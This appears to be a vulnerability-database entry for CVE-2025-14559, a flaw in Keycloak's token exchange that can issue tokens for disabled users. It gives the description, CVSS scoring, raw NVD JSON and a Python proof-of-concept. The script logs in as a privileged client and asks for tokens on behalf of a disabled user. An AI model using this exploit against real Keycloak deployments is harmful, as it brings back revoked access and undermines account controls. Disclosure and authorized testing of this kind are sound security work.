Security Vulnerability Report
中文
CVE-2025-14559 CVSS 6.5 MEDIUM

CVE-2025-14559

Published: 2026-01-21 07:16:01
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the keycloak-services component of Keycloak. This vulnerability allows the issuance of access and refresh tokens for disabled users, leading to unauthorized use of previously revoked privileges, via a business logic vulnerability in the Token Exchange implementation when a privileged client invokes the token exchange flow.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak keycloak-services < 受影响版本(需参考官方修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14559 PoC - Keycloak Token Exchange for Disabled Users # This PoC demonstrates the token exchange vulnerability for disabled users import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" PRIVILEGED_CLIENT_ID = "privileged-client" PRIVILEGED_CLIENT_SECRET = "client-secret-here" DISABLED_USER_ID = "disabled-user-uuid" def get_privileged_client_token(): """Obtain access token for privileged client""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" data = { "grant_type": "client_credentials", "client_id": PRIVILEGED_CLIENT_ID, "client_secret": PRIVILEGED_CLIENT_SECRET } response = requests.post(url, data=data) return response.json().get("access_token") def exchange_token_for_disabled_user(access_token): """Exploit: Exchange token for a disabled user - this should fail but succeeds""" url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" headers = {"Authorization": f"Bearer {access_token}"} data = { "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "subject_token": access_token, "requested_subject": DISABLED_USER_ID, "client_id": PRIVILEGED_CLIENT_ID, "client_secret": PRIVILEGED_CLIENT_SECRET } response = requests.post(url, headers=headers, data=data) return response.json() def main(): print("[*] CVE-2025-14559 - Keycloak Token Exchange for Disabled Users") print("[*] Obtaining privileged client token...") token = get_privileged_client_token() if token: print("[+] Got privileged client token") print("[*] Attempting token exchange for disabled user...") result = exchange_token_for_disabled_user(token) if "access_token" in result: print("[!] VULNERABLE: Successfully obtained tokens for disabled user") print(f"[!] Access Token: {result['access_token'][:50]}...") else: print("[-] Not vulnerable or user not disabled") else: print("[-] Failed to obtain client token") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14559", "sourceIdentifier": "[email protected]", "published": "2026-01-21T07:16:00.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the keycloak-services component of Keycloak. This vulnerability allows the issuance of access and refresh tokens for disabled users, leading to unauthorized use of previously revoked privileges, via a business logic vulnerability in the Token Exchange implementation when a privileged client invokes the token exchange flow."}, {"lang": "es", "value": "Se encontró una falla en el componente keycloak-services de Keycloak. Esta vulnerabilidad permite la emisión de tokens de acceso y de actualización para usuarios deshabilitados, lo que lleva al uso no autorizado de privilegios previamente revocados, a través de una vulnerabilidad de lógica de negocio en la implementación de Token Exchange cuando un cliente privilegiado invoca el flujo de intercambio de tokens."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-840"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:2365", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:2366", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14559", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2421711", "source": "[email protected]"}]}}